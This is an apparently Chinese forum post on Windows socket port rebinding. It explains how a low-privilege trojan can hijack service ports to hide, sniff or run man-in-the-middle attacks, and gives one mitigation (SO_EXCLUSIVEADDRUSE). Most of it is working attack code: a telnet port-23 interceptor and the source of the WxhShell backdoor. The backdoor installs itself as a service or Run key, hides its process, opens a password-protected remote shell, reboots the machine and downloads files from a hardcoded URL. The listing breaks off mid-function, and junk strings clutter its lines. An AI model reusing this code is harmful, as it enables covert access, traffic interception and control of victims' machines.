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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L.E6~Rv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cl`!A2F1G#  
&D/@H1fBe  
  saddr.sin_family = AF_INET; }o'WR'LX  
]12ypcf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DE$HF*WY  
Pl>BTo>p'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BE#s@-zR=p  
o\#C#NiT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 75^U<Hz-3{  
9{A[n}  
  这意味着什么?意味着可以进行如下的攻击: [i9.#*  
R#n!1~ (  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 prdlV)LTpY  
RF#S=X6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C:?mOM#_  
S4salpz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'l&),]|$)  
&e-MOM2&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #Yqj27&  
<r8sZrY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kn^? .^dVX  
hB !>*AsG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l2&s4ERqSm  
VJ8 " Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]1^F  
"1-gMob  
  #include (]Pr[xB  
  #include ++m^z` D  
  #include lCX*Q{s22  
  #include    )zKZ<;#y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4P>4d +  
  int main() Dh4 EP/=z  
  { ^z _m<&r  
  WORD wVersionRequested; #},4m  
  DWORD ret; kT=KxS{  
  WSADATA wsaData; R)>F*GsR  
  BOOL val; ?}n\&|+  
  SOCKADDR_IN saddr; 19g-#H!  
  SOCKADDR_IN scaddr; A~!v+W%vO1  
  int err; %VSjMZ  
  SOCKET s; c9 &LK J6  
  SOCKET sc; b: c$EPK  
  int caddsize; _wY <8 F*  
  HANDLE mt; )~Pj 3  
  DWORD tid;   ]y **ZFA  
  wVersionRequested = MAKEWORD( 2, 2 ); kw M1f=!-  
  err = WSAStartup( wVersionRequested, &wsaData ); W/\M9  
  if ( err != 0 ) { Jn+k$'6 %#  
  printf("error!WSAStartup failed!\n"); -J`VXG:M  
  return -1; IHrG!owf  
  } i'\7P-a  
  saddr.sin_family = AF_INET; ]bui"-tlK  
   $#HPwmd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N!TC}#}l  
gQ0W>\xz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,P T5-9 m  
  saddr.sin_port = htons(23); l>J>?b=x"[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q|CLis-  
  { : U Yn  
  printf("error!socket failed!\n"); *%(BE*C}  
  return -1; zYz0R:@n+  
  } 0C,2gcq  
  val = TRUE; M?nYplC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JtB]EvpL}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ({5`C dVi  
  { NCKhrDd&  
  printf("error!setsockopt failed!\n"); xc&&UKd  
  return -1; @j{n V@|  
  } H;=JqD8`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p_Yx"nO7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `nvm>u~[Hq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &y~~Z [.F,  
7R{(\s\9:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ($vaj;  
  { b14WIgjsl  
  ret=GetLastError(); Ibbpy++d[  
  printf("error!bind failed!\n"); Z7G l^4zn  
  return -1; d$;1%rRj8  
  } v< Ozr:lL  
  listen(s,2); |#Q4e51H  
  while(1) #% 1|$V*:  
  { /ll2lyS+  
  caddsize = sizeof(scaddr); %z_L}L  
  //接受连接请求 ,xzSFs>2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KsG>,# Q  
  if(sc!=INVALID_SOCKET) sZ7RiH +I  
  { (U GmbRf&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c1 ~=   
  if(mt==NULL) <:YD.zAh|  
  { G^6\OOSy  
  printf("Thread Creat Failed!\n"); D$vP&7pOr4  
  break; fN-y8  
  } IW&.JNcN  
  } B|zVq=l~  
  CloseHandle(mt); 6tDCaB  
  } gT=RJB  
  closesocket(s); Sd\+f6x  
  WSACleanup(); d=$1Z. ]  
  return 0; 'y<<ce*   
  }   3v:c".O2O  
  DWORD WINAPI ClientThread(LPVOID lpParam) )h&*b9[B=  
  { OM1pyt  
  SOCKET ss = (SOCKET)lpParam; % QKlvmI"  
  SOCKET sc; a+_F^   
  unsigned char buf[4096]; M?FbBJ`sF  
  SOCKADDR_IN saddr; g0&Rl  
  long num; n@e[5f9?x  
  DWORD val; AY~~a)V  
  DWORD ret; z!0 }Kj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Do\YPo_Mr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fu/{*4  
  saddr.sin_family = AF_INET; j\^ u_D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V!3.MQM  
  saddr.sin_port = htons(23); =#Qm D=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a#NP69  
  { Jemb0Qv  
  printf("error!socket failed!\n"); Z^?YTykH  
  return -1; ~p'DPg4  
  } /U1 jCLR'  
  val = 100; J]=2] oI2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w?db~"T  
  { >8>}o4Q/X  
  ret = GetLastError(); X"z!52*3]  
  return -1; o@!!I w  
  } tc%0yr9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N:yyDeGyW  
  { H5 'Le{  
  ret = GetLastError(); 5%Xny8 ]|D  
  return -1; }ippi6b:r  
  } h4 X>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H>/LC* 8-  
  { MY$-D+#/`  
  printf("error!socket connect failed!\n"); GA.4'W^&a  
  closesocket(sc); rdY/QvP0=  
  closesocket(ss); x.:k0;%Q  
  return -1; R{hq1-  
  } |!=KLJUA  
  while(1) Jc74A=sT  
  { U if61)+!i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1MF0HiC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g12mSbf=9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hV6=-QL*B  
  num = recv(ss,buf,4096,0); ^9zFAY.|  
  if(num>0) h+!   
  send(sc,buf,num,0); 1}$GVb%i  
  else if(num==0) mEM/}]2  
  break; V(LE4P 1  
  num = recv(sc,buf,4096,0); oD=6D9c?  
  if(num>0) (XDK&]U  
  send(ss,buf,num,0); -Jj"JN.  
  else if(num==0) ji~P?5(:  
  break; Z%uDz3I\Q"  
  } 'r2VWavT  
  closesocket(ss); 6IQkP9P(  
  closesocket(sc); PM A61g  
  return 0 ; s,2gd'  
  } Wz^M*=,  
DwLl}{r'  
sJHN4  
========================================================== e[ 8AdE  
w'-J24>=  
下边附上一个代码,,WXhSHELL Oy `2ccQ#  
(fYrb# ]!y  
========================================================== a=!I(50  
n~wNee  
#include "stdafx.h" L9FijF7  
R>YDn|cWI  
#include <stdio.h> tHj |_t  
#include <string.h> "++q. y  
#include <windows.h> *k7vm%#ns  
#include <winsock2.h> ;J)8#|  
#include <winsvc.h> 7rdPA9  
#include <urlmon.h> mAFVjSa2  
npW1Z3n  
#pragma comment (lib, "Ws2_32.lib") vG7aT  
#pragma comment (lib, "urlmon.lib") ^z^ UFW  
:<}.3Q?&  
#define MAX_USER   100 // 最大客户端连接数 -}W `  
#define BUF_SOCK   200 // sock buffer WRWcB  
#define KEY_BUFF   255 // 输入 buffer ).Ei:/*j  
mh4`,N  
#define REBOOT     0   // 重启 J3$Ce%<   
#define SHUTDOWN   1   // 关机 KP[H&4eoC  
Yom,{;Bv  
#define DEF_PORT   5000 // 监听端口 MDo4{7  
hSvA dT]m  
#define REG_LEN     16   // 注册表键长度 N]k(8K  
#define SVC_LEN     80   // NT服务名长度 ^uy2qO4Yw  
qU1^ K  
// 从dll定义API xTJ-v/t3<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \"r*wae  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y+C.2 ca  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y.LJ 5K$&a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xGzp}   
;8G( l   
// wxhshell配置信息 N9M''H *VS  
struct WSCFG { #0+`dI_5/  
  int ws_port;         // 监听端口 PUdJ>U  
  char ws_passstr[REG_LEN]; // 口令 O;ty k_yM  
  int ws_autoins;       // 安装标记, 1=yes 0=no rX*ATN  
  char ws_regname[REG_LEN]; // 注册表键名 M99gDN  
  char ws_svcname[REG_LEN]; // 服务名 Y\qiYra  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X2MQa:yksP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ? 8d7/KZO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `y2 6OYo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4l2xhx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wlh V!a0>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tu'/XUs;k  
XQ{G)  
}; UI*^$7z1 +  
P`^{dH $P  
// default Wxhshell configuration 4RH'GnLa  
struct WSCFG wscfg={DEF_PORT, g36\%L  
    "xuhuanlingzhe", vlD!YNy  
    1, 9 pGND]tIi  
    "Wxhshell", 2ja@NT  
    "Wxhshell", \xH#X=J  
            "WxhShell Service", "\'g2|A  
    "Wrsky Windows CmdShell Service", ^Fl6-|^~  
    "Please Input Your Password: ", \qrSJ=}t  
  1, 1D0_k  
  "http://www.wrsky.com/wxhshell.exe", +b7}R7:AFH  
  "Wxhshell.exe" 8"M*,?.]  
    }; U[ $KQEJYj  
,=9e]pQ  
// 消息定义模块 Dm=Em-ST6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [U]ouh)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nC3U%*l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uh~/ybR  
char *msg_ws_ext="\n\rExit."; q>~\w1%}a\  
char *msg_ws_end="\n\rQuit."; }@ *Me+  
char *msg_ws_boot="\n\rReboot..."; Y}bJN%M  
char *msg_ws_poff="\n\rShutdown..."; `>1"v9eF  
char *msg_ws_down="\n\rSave to "; idC4yH42  
2 o`a^'Iw  
char *msg_ws_err="\n\rErr!"; 5!55v  
char *msg_ws_ok="\n\rOK!"; cm8-L[>E  
7-oH >OF^  
char ExeFile[MAX_PATH]; rpgr5>  
int nUser = 0; *aXZONym  
HANDLE handles[MAX_USER]; ?/_8zpW  
int OsIsNt; 0,T'z,  
iI[Z|"a21  
SERVICE_STATUS       serviceStatus; >@yHa'*9S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *nB fF{y  
m[7i<'+S  
// 函数声明 IeqJ>t:   
int Install(void); IX7|_ci  
int Uninstall(void); -$(,&qyk  
int DownloadFile(char *sURL, SOCKET wsh); 'oZ/fUl|7  
int Boot(int flag); ({ 7tp!@  
void HideProc(void); # $:ddO Y  
int GetOsVer(void); |\ 1?CYx  
int Wxhshell(SOCKET wsl); 9E (VU.  
void TalkWithClient(void *cs); C^@.GA  
int CmdShell(SOCKET sock); h^P>,dy0  
int StartFromService(void); cJ G><'  
int StartWxhshell(LPSTR lpCmdLine); gc:qqJi)X  
Lc|5&<8ZG1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zX-6]j;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S8O^^jJq;  
.wrNRU7s  
// 数据结构和表定义 T,72I  
SERVICE_TABLE_ENTRY DispatchTable[] = ! af35WF  
{ @15%fX`*o  
{wscfg.ws_svcname, NTServiceMain}, $X %GzrN  
{NULL, NULL} 8c m,G  
}; &(fB+VNrOH  
# E'g{.N  
// 自我安装 *v'&i) J  
int Install(void) "hU'o&  
{ ^;3z9}9  
  char svExeFile[MAX_PATH]; H( `^1  
  HKEY key; rl^_RI  
  strcpy(svExeFile,ExeFile); XelY?Ph,,  
-{>Nrx|  
// 如果是win9x系统,修改注册表设为自启动 U9;C#9E  
if(!OsIsNt) { 5|ih>?C/(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '#SacJ\L7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q{Gi**<  
  RegCloseKey(key); #,O<E@E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h:[PO6GdX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k--.g(T  
  RegCloseKey(key); 0px@3/  
  return 0; `zHtfox!  
    } eR(PY{  
  } J!,5HJh1  
} =5EG}@  
else { jNN$/ZWm  
"Hmo`EB0  
// 如果是NT以上系统,安装为系统服务 /xjHzva^ w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J{=by]-rD,  
if (schSCManager!=0) >JFAE5tj&2  
{ ^f{+p*i}:  
  SC_HANDLE schService = CreateService tvptaw A.  
  ( }%EQ  
  schSCManager, 93%U;0w[Nw  
  wscfg.ws_svcname, Tx35~Z`0  
  wscfg.ws_svcdisp, WlVC0&  
  SERVICE_ALL_ACCESS, wO!k|7:Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cpB$bC](  
  SERVICE_AUTO_START, M:c^ [9)y  
  SERVICE_ERROR_NORMAL, WKZ9i2hcdf  
  svExeFile, H~+D2A  
  NULL, w .l2  
  NULL, 7ZHM;_ -  
  NULL, -^8gZk/(W  
  NULL, t &u,Od  
  NULL $Q1:>i@I|g  
  ); !3K6ew>Sf  
  if (schService!=0) O qDLb  
  { x+(h#+F  
  CloseServiceHandle(schService); u>H^bCXI  
  CloseServiceHandle(schSCManager); De[!^/f;T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y";{k+  
  strcat(svExeFile,wscfg.ws_svcname); pi? q<p%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8^;[c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E9 {Gaa/{  
  RegCloseKey(key); <tAn2e!  
  return 0; \;p5Pagx0-  
    } &|xN=U/  
  } 0@1AH<  
  CloseServiceHandle(schSCManager); q@P5c  
} 6}2vn5 E//  
} #KZ- "$  
Wx~ 0_P  
return 1; uk_?2?>-5  
} 0X#tt`;  
xfqgK D>  
// 自我卸载 "8VCXD  
int Uninstall(void) x=yBB;&  
{ fk`y}#7M  
  HKEY key; [ V()7  
UaCEh?D+Y  
if(!OsIsNt) { Os9xZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c+#GX)zh\G  
  RegDeleteValue(key,wscfg.ws_regname); Z=DAA+T`  
  RegCloseKey(key); 2}1(j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~.mnxn  
  RegDeleteValue(key,wscfg.ws_regname); 5) o-$1s A  
  RegCloseKey(key); qev1bBW  
  return 0; <iiu%   
  } B[ooT3V  
} R>[2}R30  
} o87. (  
else { |h(!CFR  
W'rft@J$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  =w0Rq~  
if (schSCManager!=0) K 4I ?1  
{ a3ve%b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ua\g*Cxh  
  if (schService!=0) l%.3hId-  
  { ):jK sP ,  
  if(DeleteService(schService)!=0) { ,ju1:`  
  CloseServiceHandle(schService); pq+Gsu1^  
  CloseServiceHandle(schSCManager); %Vrl"4^}t  
  return 0; F4>}mIA  
  } ;^lVIS%&{  
  CloseServiceHandle(schService); %I;ej{*c  
  } o\1"ux;b  
  CloseServiceHandle(schSCManager); rPkV=9ull,  
} ~UB@IV6O  
} soA>&b !?  
CT3wd?)z`  
return 1; tx Lo =  
} 1\{0z3P  
/cexd_l|f  
// 从指定url下载文件 1$?O5.X:  
int DownloadFile(char *sURL, SOCKET wsh) Xoml  
{ oat*ORL  
  HRESULT hr; NtkEb :  
char seps[]= "/"; Vd4x!Vk  
char *token; a"EP`  
char *file; Sb>;k(;`:  
char myURL[MAX_PATH]; i>_V?OT#5  
char myFILE[MAX_PATH]; U%"c@%B0  
P )_g t  
strcpy(myURL,sURL); Xgn^)+V:  
  token=strtok(myURL,seps); pq#Hca[  
  while(token!=NULL) F'*y2FC  
  { $d{{><  
    file=token; X_Is#&6;  
  token=strtok(NULL,seps); >1T=Aw2Z.  
  } Q9q:HGXxv  
bT,]=h"0  
GetCurrentDirectory(MAX_PATH,myFILE); o?b$}Qrl  
strcat(myFILE, "\\"); 0diQfu)Fi  
strcat(myFILE, file); R"];`F(#  
  send(wsh,myFILE,strlen(myFILE),0); J1YP-:  
send(wsh,"...",3,0); hvQOwA;e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iyc}a6g  
  if(hr==S_OK) Z<;<!+,  
return 0; I{JU<A,&  
else \'&:6\-fw  
return 1; ;<Oe\X  
F +D2 xN@  
} l6:k|hrm;  
I?lQN$A.E  
// 系统电源模块 CA7tI >y_  
int Boot(int flag) >#Y8#-$zc  
{ ,6~c0]/  
  HANDLE hToken; QK&<im-  
  TOKEN_PRIVILEGES tkp; eA$9)K1GO  
Mou>|U 1e"  
  if(OsIsNt) { Xnt`7L<L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }at8b ^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2shr&M fp[  
    tkp.PrivilegeCount = 1; H|tbwU)J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q[;!z1ur  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1t+]r:{  
if(flag==REBOOT) { T#DJQ"$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (^ZC8)0i(  
  return 0; 282 m^ 2  
} ~QJD.'z  
else { :iD( [V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J Xo_l  
  return 0; , b ,`;I  
} _&FcHwRy  
  } C8}ujC  
  else { dB ?+-aE  
if(flag==REBOOT) { >M<rr!|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CN#`m]l.  
  return 0; sg;G k/]  
} 0t*JP  
else { IVzJ|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,@tY D(Z  
  return 0; \m1r(*Ar  
} lsCD%P  
} wA|m/SZx  
0R\lm<&  
return 1; k?0yH$)'t  
} .n[!3X|d  
kLU$8L  
// win9x进程隐藏模块 XE[~! >'  
void HideProc(void) {wih)XNY  
{ ajq[ID  
|y)Rlb# d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DNcf2_m  
  if ( hKernel != NULL ) ` :eXXE  
  { 0V`s 3,k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j#$ R.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8G`fSac`  
    FreeLibrary(hKernel); 2>l4$G 0  
  } U2\g Kg[-Q  
F<Js"z+  
return; ;f#%0W{":  
} ZE.nB- H  
r&@#,g  
// 获取操作系统版本 ?wt%e;  
int GetOsVer(void) 5, R\tJCK  
{ ;:,hdFap  
  OSVERSIONINFO winfo; `of 5h* k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AP' Uc A  
  GetVersionEx(&winfo); dnTB$8&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <e-9We."  
  return 1; kA1]o  
  else yoGe^gar  
  return 0; Eo 5p-  
} ZgQ4~s  
t}>6"^}U  
// 客户端句柄模块 rCR?]1*Z  
int Wxhshell(SOCKET wsl) \W=~@k  
{ ) (unL`y  
  SOCKET wsh; B38_1X7  
  struct sockaddr_in client; U\a.'K50F  
  DWORD myID; %K8Ei/p\t]  
vh5`R/<3  
  while(nUser<MAX_USER) A;7p  
{ =)5O(h  
  int nSize=sizeof(client); n[8ju,=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S&_Z,mT./  
  if(wsh==INVALID_SOCKET) return 1; SxMmy  
^ cpQ*Fz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \ofWD{*j  
if(handles[nUser]==0) f1w&D ]|S+  
  closesocket(wsh); I4 {uw ge  
else ]Q1?Ox:'  
  nUser++; > 2_xRn<P  
  } \H|tc#::{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,<R/jHZP9  
rDFD rviW_  
  return 0; >]K:lJ]l  
} t`=TonLb8  
JAJo^}}{b  
// 关闭 socket !iUFD*~r~  
void CloseIt(SOCKET wsh) 2L"$p?  
{ ZGO% lkZ.  
closesocket(wsh); x}v]JEIf[Q  
nUser--; ~2u~}v5m7  
ExitThread(0); ]."~)  
} 4M4Y2f BH  
Ua0fs|t1v  
// 客户端请求句柄 K;kaWV  
void TalkWithClient(void *cs) &Ui*w%  
{ =nPIGI72VO  
-OV:y],-  
  SOCKET wsh=(SOCKET)cs; 6[3oOO:uo  
  char pwd[SVC_LEN]; \yt-_W=[  
  char cmd[KEY_BUFF]; s zBlyT  
char chr[1]; S}L$-7Ct  
int i,j; r:pS[f|4\  
BkywYCWZ )  
  while (nUser < MAX_USER) { L&h@`NPO a  
N zrHWVD  
if(wscfg.ws_passstr) { LpRl!\FY$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 12l-NWXf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C1w~z4Qp  
  //ZeroMemory(pwd,KEY_BUFF); u@QP<[f  
      i=0; aY`qbJy  
  while(i<SVC_LEN) { w _zUA'n+  
X*ZTn 7<  
  // 设置超时 U`YPzZp_  
  fd_set FdRead; \"r84@<  
  struct timeval TimeOut; D1w;cV7/d  
  FD_ZERO(&FdRead); lO^Ly27  
  FD_SET(wsh,&FdRead); y[QQopy4:  
  TimeOut.tv_sec=8; NQB a+N  
  TimeOut.tv_usec=0; W)F<<B,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JF{yhx,+ p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U~9Y9qzy,  
P`z#tDT^"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v9?hcJ=  
  pwd=chr[0]; R"@J*\;$T  
  if(chr[0]==0xd || chr[0]==0xa) { H}v.0R  
  pwd=0; '+?L/|'  
  break; 6<aZr\Ufg  
  } 4#<r}j12z  
  i++; hd+(M[C<9  
    } `N;}Gf-'  
( X(61[Lu  
  // 如果是非法用户,关闭 socket 5:S=gARz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q{4W@Um-  
} BY*{j&^  
$y%X#:eLJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bcx,K b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :mP%qG9U  
}~B@Z\`O  
while(1) { h?t#ABsVK  
~nQ=iB  
  ZeroMemory(cmd,KEY_BUFF); K<k!sh   
dyH<D5  
      // 自动支持客户端 telnet标准   ~H<oqk:O-  
  j=0; qW~Z#Si  
  while(j<KEY_BUFF) { R'Gka1v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,<Ag&*YE4  
  cmd[j]=chr[0]; kSL7WQe?j  
  if(chr[0]==0xa || chr[0]==0xd) { ,=TY:U;?  
  cmd[j]=0; V]E# N  
  break; =7^rKrD  
  }  +\Hh|Uz5  
  j++; a7$]" T 7  
    } ojmF:hR"  
cy_'QS$W   
  // 下载文件 j 3/ I =  
  if(strstr(cmd,"http://")) { hk5[ N=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 11"- taWj  
  if(DownloadFile(cmd,wsh)) /#<R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sxG8 jD  
  else +,;"?j6<p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E&;[E  
  } C0f<xhp?j  
  else { $ ,:3I*}be  
 w^Mj[v#  
    switch(cmd[0]) { 2SjH7 '  
  p :v'"A}  
  // 帮助 EN,PI~~F  
  case '?': { c >O>|*I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kdgU1T@y.  
    break; R #f*QXv  
  } n'?AZ4&z  
  // 安装 j\I{pW-  
  case 'i': { mB\)Q J.%  
    if(Install()) xYmh{Vc8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <w,NMu"  
    else dnwTD\),  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Etj0k} A  
    break; j ."L=  
    } Ee~<PDzB  
  // 卸载 biLNR"/E  
  case 'r': { RJpRsr  
    if(Uninstall()) zh.^> `   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o [ Je  
    else Kl\g{>{Uz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @~=*W5  
    break; "_f~8f`y  
    } 2uCw[iZM  
  // 显示 wxhshell 所在路径 p&s~O,Bw$  
  case 'p': { TmS-w  
    char svExeFile[MAX_PATH]; 4Eri]O Ri  
    strcpy(svExeFile,"\n\r"); KD<smwXjG  
      strcat(svExeFile,ExeFile); 4ZUTF3  
        send(wsh,svExeFile,strlen(svExeFile),0); 2\4ammwT  
    break; 04j]W]8#  
    } VYR<x QA  
  // 重启 0I v(ioB=  
  case 'b': { .S_7R/2(?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $q|-9B  
    if(Boot(REBOOT)) yv;KKQ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhNX05D  
    else { 5V $H?MW>  
    closesocket(wsh); < NRnE8:  
    ExitThread(0); iJ&jg`"=F  
    } ,<CFjtelO  
    break; 6*aU^#Hz6  
    } =,Zkg(M  
  // 关机 UR|Au'iu  
  case 'd': { {}n]\zO %  
